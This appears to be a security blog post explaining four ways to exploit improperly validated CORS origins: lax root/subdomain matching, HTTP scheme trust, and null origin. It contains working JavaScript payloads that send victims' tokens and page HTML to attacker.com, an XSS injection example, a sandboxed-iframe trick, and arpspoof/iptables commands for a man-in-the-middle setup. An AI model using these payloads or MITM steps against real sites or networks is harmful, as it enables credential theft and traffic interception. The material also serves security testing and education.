Abusing CORS (Improper Origin Validation)

0 minute read Modified:

Four ways you can abuse CORS when origins are not validated properly.

In this post we will look at what happens when CORS Origin is not validated correctly and explore some ways this can be abused to exfiltrate data. My initial idea with this was to cover the MITM part (improper scheme validation) in greater detail, but I figured why not include the others as well. I won’t go into the cause of the problem, but rather focus on the symptoms and try to provide some clear examples of how this can be approached from an attackers’ POV. For other details, see supporting materials at the very end.

Origin Root/TLD

First one has to do with Root/TLD domain.

GET /token HTTP/1.1
Host: api.example.com
Accept: */*
Origin: https://www.attacker.com
Connection: close

---

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://www.attacker.com
Access-Control-Allow-Credentials: true

{"[token]"}

Here, access is granted to any domain (including https://www.attacker.com) with credentials through CORS.

However, it’s usually not that simple as most sites do have some validation in place though not all of them are perfect.

For instance, a site may only check whether the origin begins with or ends with a particular string and grant access whenever this condition is met. Example:

  • Access is granted to example.com.attacker.com because origin begins with example.com.
  • Access is granted to foobarexample.com because origin ends with example.com.

Exploiting this is straight forward. Simply host the payload on any domain and have the “victim” load it. In doing so (assuming victim is authenticated to the vulnerable site) the following will occur:

  1. Victims browser sends XHR request to misconfigured endpoint (with cookies/credentials). The origin of this request is whatever domain the payload is hosted on.
  2. Server grants access to the origin of this request, accepts cookies / authorization headers and responds back to the victim’s browser with the token.
  3. Victims’ browser triggers the onload function and leaks token to the attackers’ site.

Alternatively, you can use something like test-cors.org to prove your concept.

A site may respond with CORS headers ONLY when `Origin` is part of the request. If it's not part of the original request, then try adding it.

Origin Subdomain

The second one has to do with (you guessed it) the subdomains. In this case, the server won’t trust any domain, but it will however accept any subdomain we throw at it (again with credentials).

GET /token HTTP/1.1
Host: api.example.com
Accept: */*
Origin: https://foo.example.com
Connection: close

---

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://foo.example.com
Access-Control-Allow-Credentials: true

{"[token]"}

Abusing this is not as straight forward as you’re confined to the subdomains of whomever is your target. This means that you will have to find some way of injecting Javascript onto one of those subdomain pages.

For instance, let’s say you happen to have a reflective (self) XSS on any subdomain of https://example.com, say https://support.example.com.

E.g. https://support.example.com?vuln=<script>alert</script>

Instead of popping an alert, you could remove the line breaks from the payload and feed it to the vulnerable param as so.

https://support.example.com?vuln=var req = new XMLHttpRequest();req.onload = reqListener;req.open('GET','https://example.com/token/',true); ...)

As before, once requested, the payload sends XHR request from the browser to the web API endpoint having origin: https://support.example.com which the server accepts (with credentials). As so, the server responds with the token (to the browser), at which the payload takes over and leaks token to the attacker’s site.

For more advanced techniques (concerning subdomains), be sure to check this fantastic post by Corben Leo.

Origin Scheme

This one is a bit more confusing, but the idea is the same. Here, the domain and subdomain are indeed validated, but not the scheme.

GET /api HTTP/1.1
Host: example.com
Accept: */*
Origin: http://api.example.com
Connection: close

---

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://api.example.com
Access-Control-Allow-Credentials: true
content-security-policy: default-src 'none'
strict-transport-security: max-age=31536000

{"[token]"}

As you can see, access is granted to http://api.example.com (HTTP) with credentials. This essentially breaks HTTPS, rendering strict-transport-security useless.

To abuse this, you will have to spoof the “victim” connected to the same network as yourself. The point of this is to intercept packets and ultimately inject the payload into one of the responses (instructions below).


Each item represents a line ending in an arrow
1. Victim requests insecure data from anywhere on the web through HTTP. Typically mixed content such as images hosted on an otherwise secure site.

2. MITM intercepts the response (200 OK) and blindly redirects the victim to a domain that is "trusted" by CORS `http://www.example.com/doesnotexist`, but to a page that does not exist (see reason below).

3. Victim follows the redirect, requesting `http://www.example.com/doesnotexist`

4. Despite page not existing, the server will most likely try to 301 redirect the victim back to HTTPS first, rather than issuing 404 straight away. The origin of this response is `http://www.example.com`.

5. MITM intercepts this and replaces the response data with XHR [payload](#payload).

6. Victims' browser loads the payload and sends XHR request to the endpoint with credentials.

7. Server "trusts" the origin of this request `http://www.example.com` (with credentials) and responds back with the token.

8. Victims' browser receives this response, triggering the payload listener and leaks the token to the attacker controlled domain.

Note for point 2: The reason for redirecting the “victim” to http://www.example.com/doesnotexist rather than http://www.example.com directly (which also works) is to prevent the client browser from loading HTTPS (https://www.example.com) directly from cache, rather than requesting HTTP (http://www.example.com). This little trick makes a world of difference, but for this to work, it’s essential that you redirect the victim to page that has not been previously visited before.

I hope that made some sense and let me just say that it’s not nearly as complicated as it looks. Once everything is set up you only have to intercept/modify a few packets and that’s pretty much it.

Why not automate this process from beginning to end? 🤔 That could be something for a future post so let me know if you’re interested.

Setting up a MITM PoC environment

Make sure VMs are bridged. Begin by ARP poisoning the victim:

arpspoof -i INTERFACE -t IP_TO_SPOOF GATEWAY_IP
arpspoof -i eth0 -t 192.168.0.10 192.168.0.1

Setup iptables to route traffic on port 80 to whatever port you want to proxy:

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8081


Now 🔥 up Burp Suite:

  1. Head to Proxy - > Options
  2. Add a new proxy listener
  3. Set bind-port to your redirected port
  4. Set bind-address to attacking IP (not loopback)
  5. Click the “Request Handling” tab
  6. Check “Support invisible proxying” (important!)
  7. Hit “Ok”

On your spoofed target; request some HTTP traffic from any site and head back to your Burp proxy. If you don’t see any traces of it, then your target is likely requesting HTTPS from browser cache. Therefore, be sure to clean out the cache first or disable caching entirely just to be sure.

As MITM (in this case) you are only really interested in the responses, not the requests. Burp will not intercept responses by default so make sure this is enabled from the proxy options.

Origin: null

The null origin is according to the HTML spec an opaque origin, which is:

An internal value, with no serialization it can be recreated from (it is serialized as “null” per serialization of an origin), for which the only meaningful operation is testing for equality.

As far as I know, this is true when:

  1. The resource redirects to another resource having a different origin.
  2. The resource uses a non-hierarchial scheme (such as data: or file:).
  3. Accessing a sandboxed document.
GET /token HTTP/1.1
Host: api.example.com
Accept: */*
Origin: null
Connection: close

---

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

{"[token]"}

Here, the server wrongfully grants access to Origin: null, with credentials. Seeing this, your goal now is to obtain this null origin somehow, by “triggering” one of the conditions above. One way of doing this is to send an XHR request from host A, to a page on host B that 302 redirects to the endpoint with a different origin.

Or better; wrap the payload in an iframe sandbox (without allow-same-origin) as so:

<iframe sandbox='allow-scripts allow-forms'src='data:text/html,
<script>
<!--Cors payload goes here-->
</script>'></iframe>

This should work regardless of where it is hosted as long the null origin is set (assuming server responds with ACAO: true).

Payload

The payload basically sends an XHR GET request to the endpoint withCredentials = true. The response triggers the listener who sends whatever data comes in return back to the attackers’ domain.

<script>
var xhr = new XMLHttpRequest(); 
xhr.onload = reqListener; 
xhr.open('GET','https://api.example.com/token/',true); 
xhr.withCredentials = true;
xhr.send();

<!-- leak response token to attacker -->
function reqListener() {
    location='https://attacker.com/log?token='+this.responseText; 
};
</script>

The above works well when endpoint responds with simple strings however if the response data is more complicated (like raw HTML) then consider using something like this instead.

<script>
var xhr = new XMLHttpRequest();
xhr.addEventListener("load", reqListener);
xhr.open("GET", "https://example.com/profile.php");
xhr.withCredentials = true;
xhr.send();

<!-- send response HTML to attacker -->
function reqListener() {
  var leak = new XMLHttpRequest();
  leak.open("POST", "https://attacker.com/leaked.html", true);
  leak.send(xhr.responseText);
}
</script>

Which does the same thing, except the response data is now sent back as POST. Worth noting is that mod_security (or similar) must but enabled for this to be logged on the receiving end. For Apache, this usually ends up in /var/log/apache2/modsec_audit.log. If the response data is JSON, then consider parsing it first.(JSON.parse(xhr.responseText)).

Supporting Material